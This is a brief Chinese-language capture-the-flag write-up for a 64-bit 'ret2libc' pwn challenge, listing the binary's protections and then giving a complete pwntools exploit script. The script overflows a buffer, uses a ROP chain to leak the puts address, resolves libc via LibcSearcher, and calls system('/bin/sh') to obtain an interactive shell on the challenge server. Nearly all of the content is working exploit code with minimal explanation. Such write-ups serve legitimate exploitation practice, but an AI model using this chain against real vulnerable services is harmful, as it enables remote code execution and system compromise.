文件分析
下载pwn
, NX on, PIE off, Canary off, RELRO partial
ghidra分析为64位程序
解题思路
vuln函数里就写了利用ret2libc...和之前一样
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import LibcSearcher from pwn import * sh = remote('localhost', 39671) elf = ELF('ret2libc')
putsPlt = elf.plt['puts'] putsGot = elf.got['puts'] popRdiAddr = 0x40117e vulnAddr = elf.symbols['vuln']
sh.sendline(b'0'*0x58 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(vulnAddr))
sh.recvuntil(b'??\n\n') data = sh.recv() putsGotAddr = u64(data[:6] + b'\0\0') libc = LibcSearcher.LibcSearcher('puts', putsGotAddr & 0xfff) libcBase = putsGotAddr - libc.dump('puts') shstrAddr = libcBase + libc.dump('str_bin_sh') systemAddr = libcBase + libc.dump('system') retAddr = 0x40122a
sh.sendline(b'0'*0x58 + p64(popRdiAddr) + p64(shstrAddr) + p64(retAddr) + p64(systemAddr))
sh.interactive()
|
Done.